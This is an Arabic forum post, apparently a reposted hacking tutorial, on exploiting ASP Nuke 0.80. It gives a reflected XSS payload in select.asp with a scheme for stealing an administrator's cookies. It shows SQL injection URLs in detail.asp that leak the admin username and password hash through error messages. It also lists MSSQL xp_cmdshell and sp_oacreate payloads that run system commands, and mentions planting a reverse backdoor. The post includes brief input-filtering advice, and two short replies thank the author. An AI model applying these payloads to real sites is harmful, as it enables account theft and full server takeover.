![]() |
--الوصول السريع للأقسام--
دردش مع اصحاب كول واتعرف على احلى بنات وشباب الان!!!!
ملحوظه هامة:- لايمكنكم المشاركه وقراءه المواضيع مع اصحاب كول الا بعد الإشتراك بالمنتدي
::للإشتراك بالمنتدي اضغط هنا:: (من فقد عضويته او الباص ورد الخاص به هنا )
|
|
|||||||
![]() |
|
|
أدوات الموضوع | طرق عرض الموضوع |
|
#1
|
||||
|
||||
|
في هذا الموضوع سنأخذ فكرة عن الثغرات الأمنية في تطبيقات الويب بداية بثغرات cross site scripting او XSS ومن ثم ثغرات الحقن SQL INJECTION وسنعرف في هذا الموضوع كيف يقع مبرمج التطبيق في الخطأ البرمجي وكيف يستغل الخطأ من قبل الهكر لإختراق التطبيق ومن ثم السيطرة على الموقع او تطبيق الويب بالكامل!! - إخترنا في هذا الموضوع تطبيق او ويب أبلكيشن معروف وهي المجله الشهيرة ASP NUKE 0.80 تستطيع الحصول على نسخه من المجلة هنا - الإصدار 0.80 ftp://softlinks.ru/s168482/AspNuke_0.80.zip بعد تخزين المجلة ,, تستطيع متابعة الموضوع إما بتتبع الكود المصدري او بتثيت المجلة في سيرفر محلي على الجهاز . نبدأ في الموضوع: تجد المجلة في ملف مضغوط بعد فك الضغط في مجلد جديد تنتج الملفات التالية module ,img ,docs ,css ,about ,icon ,lib ,features ,js ,setup ,themes - 1- الثغرة الأولى cross site scripting في صفحة إختيار اللغة توجه للمسار module/support/language ثم إختر الصفحه select.asp في البداية عمل هذه الصفحه تحديد اللغة عن طريق الكود بهذا الشكل select.asp?code=en إذا كانت اللغة متوفرة بشكل تلقائي يتم تحويل التطبيق الى اللغه التي تم إختيارها وإذا لم تكن موجودة يقوم التطبيق بعرض خطأ او رساله تخبرك بعدم توفر اللغة لاحظ كود الصفحه: http://www.jaascois.com/research/366...select_asp.txt يبدأ الكود بإستقبال الطلب من المتصفح بهذه التعليمه sLangCode = steForm("code") ملاحظة الداله steForm هي داله معرفه في التطبيق وليست قياسيه في لغه asp لو تلاحظ في بدايه الصفحه الإضافه التاليه <!-- #include file="../../../lib/site_lib.asp" --> توجه للملف site_lib.asp وستجد تعريف الداله steForm تمثل Request.QueryString بهذا الشكل كود: steForm = Request.QueryString(sField) المهم بعد إستقبال الطلب يتم المقارنه بإستخدام if ,then ثم يتم طلب إستعلام SELECT لرؤية إذا كانت اللغة متوفرة ,, المهم إذا كانت متوفرة يتم تغيير ******s اللغة الجديدة ثم التوجه لها. وهذا لا يهمنا - إنزل إلى أسفل الكود بمعنى تجاوز كل أكواد مقارنه اللغه if..then..else في آخر جمله else ستجد هذا الامر: كود: sErrorMsg = steGetText("Invalid language code specified") & " (""" & sLangCode & """)" والمعنى واضح وهو: إذا لم تجد اللغه بمعنى لم ينفذ اي بلوك مقارنه if يقوم التطبيق بتحميل رساله الخطأ وهي عدم " توفر اللغه " في المتغير sErrorMsg ضع مئة خط تحت إسم المتغير sErrorMsg لاحظ الجمله sErrorMsg تساوي رساله خطأ وهي عدم توفر اللغه + اللغه التي تم طلبها sLangCode بتوضيح أكثر ,,إذا اخترنا لغه صينيه بهذا الشكل select.asp?code=cn سيكون المتغير sErrorMsg = "Invalid language code specified" + cn - وبعد هذه الداله ب3 اسطر لاحظ التعليمه <b class="error"><%= sErrorMsg %></b> بمعنى إطبع في المتصفح رساله الخطأ sErrorMsg - أكيد لحسن نيه المبرمج يرى انه شيء طبيعي 100% سينفذ التطبيق وبنجاح !!! ولكن دعونا نرى وجه الهكر في هذا الموضع ,, نرى ان التطبيق لا يتحقق من البارمتر الممرر select.asp?code=cn والبارمتر هو code ماذا لو نفذ الهكر هذا الطلب select.asp?code=xxxxHackxxxx بكل بساطة سيطبع التطبيق في المتصفح الرساله Invalid language code specified xxxxHackxxxx ماذا لو تقدم الهكر خطوة وطبع كود html بهذا الشكل select.asp? code=<img src=http://www.x.com/hack.gif> بكل بساطه سينفذ التطبيق الطلب ويقوم بإظهار صوره الهكر الرهيبه في صفحه الموقع وهنا نستطيع إدخال اي سكربت متطور اكثر مثل الجافا سكربت وvb سكربت ونستخدمها لإظهار ******s الذي يدخل الصفحه , وبما اننا إستطعنا تنفيذ اي سكربت تسمى هذه الثغرة cross site scripting وتستخدم غالبا في سرقه الكوكيز الخاص بمدير الموقع ؟ عن طريق إرسال إيميل يحتوي على رابط الصفحه المصابه لمدير الموقع ويمرر إلى الرابط كود جافا يقوم بطباعه أمر نقل التنفيذ من موقع المدير إلى موقع انت تحدده ,, بعد تنفيذ النقل إذهب الى الموقع التي حددته وإفتح ملف log لتجد بيانات المدير الذي إستقبل الرساله مثل ip ونوع المتصفح و****** خزن بيانات الكوكيز في جهازك او عن طريق برامج إرسال الطلبات للسيرفر ...ارسل طلب فتح موقع المدير مع ملاحظة انك اضفت بيانات ****** وعند دخول الصفحه ستتفاجأ بوجود الرساله " مرحبا بك يا مدير ..... " وتستطيع التحكم بالسيرفر - وبعد أن إكتشفنا الثغرة وشرحنا طريقه الإستغلال بقي أن نعرف الحلول ,, بكل بساطة الحل هو Disenable html tag وهو عباره عن سكربت يقوم بالبحث عن اي tag في لغه html بمعنى اي امر بين علامتي <> يمثل امر في html يقوم بإستبداله او عرض خطأ. // ثانياً:- ثغرات حقن الإستعلام في التطبيق SQL INJECTION لو ركزت أكثر في كود الصفحه السابقه لتحديد اللغه , ستلاحظ وجود ثغره اخرى وهي SQL INJECTION ولكن لتبسيط الموضوع سنأخذ ثغره اخرى SQL INJECTION وفي مكان آخر الصفحه التاليه :- module/support/task/detail.asp بها ثغره SQL INJECTION وهي ثغره خطير للحصول على إسم المستخدم وكلمه المرور لمدير المجلة - في الثغره السابقه... قمنا بتحليل الكود ثم إيجاد الخطأ وفي النهايه الإستغلال اما في هذه الثغره سنعكس الخطوات.. سنبدأ بالإستغلال ثم تحليل الكود أحد الهكر إكتشف الطريقه التاليه لإظهار إسم المستخدم والباسوورد إذا نفذت الامر كود: http://localhost/module/support/task/detail.asp?taskid=Username-- ستلاحظ طباعه البيانات التاليه على المتصفح كود: Error # -2147217913 (0x80040E07)Syntax error converting the varchar value 'admin' to a column of data type int.SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Username-- AND tsk.Active <> 0 AND tsk.Archive = 0 لاحظ السطر الثاني إسم المستخدم للمدير admin ؟!!! وإذا نفذت الامر التالي:- كود: http://localhost/module/support/task/detail.asp?taskid=Password-- ستلاحظ طباعه البيانات التاليه على المتصفح:- كود: Error # -2147217913 (0x80040E07)Syntax error converting the varchar value 'f2349ef3f76a2d980586cb945a1973b****579a9c9411c043 be85583f444e015' to a column of data type int.SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Password-- AND tsk.Active <> 0 AND tsk.Archive = 0 ستلاحظ كلمه المرور f2349ef3f76a2d980586cb945a1973b****579a9c9411c043b e85583f444e015 بتشفير SHA ,, تتوفر برامج كثيره لكسر هذا االنوع من التشفير وبهذه البساطه يستطيع اي واحد ولو كان مايعرف يبند الكمبيوتر يقدر يخترق الموقع ؟! ونحن لا نريد ان نتعلم القص والصق للإختراق ,, مايهمنا سبب حدوث الخطأ والثغرة لتجنبها نبدأ ونتوجه للصفحه المصابه .... إفتح detail.asp تجد الكود هنا http://www.jaascois.com/research/366...detail_asp.txt نلاحظ بأن الإستغلال يتم بهذا الشكل detail.asp?taskid=Username بمعنى إستغلال البارمتر taskid ,,, اول ما تفتح صفحه الكود لاحظ في بدايه الصفحه اول إستعلام SQL هل تجد به اي خطأ؟؟ برمجياً 100% صح ولكن أمنياً يعني كارثه لاحظ الصوره للتوضيح اكثر:- ![]() دائماً يحذر خبراء الأمن من إستعمال البارمتر الممرر للتطبيق كما هو قبل ان تدخل البارمتر الذي تستلمه لازم يمر بكود تشييك عليه ماذا يحتوي وكم حجمه وفي النهايه لا تعتقد ان خطورة ثغرات sql تؤثر فقط على تطبيق الموقع وإنما تؤثر على أمن النظام بالكامل,, تستطيع تنفيذ اوامر النظام مثلاً exec master..xp_cmdshell 'dir' و declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run',null,'cmd.exe' وتستطيع تنفيذ اوامر أخطر بإستخدام ابسط الادوات مثل sqlcomm.rar http://www.xfocus.net/tools/200412/sqlcomm.rar كما تلاحظون تم تحميل باكدوور عكسي للسيطره على سيرفر الموقع ![]() جميع الحقوق محفوظه لمكتشف الثغرات وكاتب الموضوع jass من الفريق العربي البرمجه
__________________
Microsoft Certified IT Professional M.C.I.T.P MS 70-620 - Passed MS 70-640 - Passed MS 70-642 - Passed MS 70-643 - Passed MS 70-647 - Passed so0o0o0o0oN My fInaL baCk Let Me LivE iN peace ((((تارك عالمكم ,,,,,)))) تــ ــحــ ــيــاتــى as7apc0oL هتعمل ايه لو نمت يوم وصحيت ... ولاقيت اقرب ماليك فى الدنيا مش حواليك هوه انت مين اللى عمل كدا فيك ... مش انت ولا فى حد غمى عينيك |
|
#2
|
||||
|
||||
|
مشكووووووووووورررررررررررررر
|
|
#3
|
|||
|
|||
|
مشكور على الشرح روعه في استغلال ثغرات sqlالحقن
|
![]() |
| أدوات الموضوع | |
| طرق عرض الموضوع | |
|
|
Tags:-افلام,اغانى,تحميل اغانى,تحميل افلام,تحميل فيلم,تحميل اغنية,الجديد,الجديدة,تحميل البوم,طرب,صور,صور الفنان,صور الفنانة,موقع فيلم,العاب,لعبة,تحميل لعبة,برنامج,تحميل برنامج,رقص,فيديو كليب,تحميل كليب,تحميل فيديو,بلوتوث,صور الفنانة,فضائح,فضيحة,فضائح فنية,صور الفنانات
| مواقع دردشة | مواقع افلام | رسائل | مواقع بنات | صور | تحميل العاب بنات | مواقع اغانى | مواقع اسلامية | افلام عربية |
| 2009 | اقسام الدليل | مواقع صور | مواقع برامج | مواقع العاب | مواقع فيديو | مواقع شات | دليل مواقع | افلام اجنبية |
![]() |
Powered by vBulletin V3.8.4. Copyright ©2000 - 2009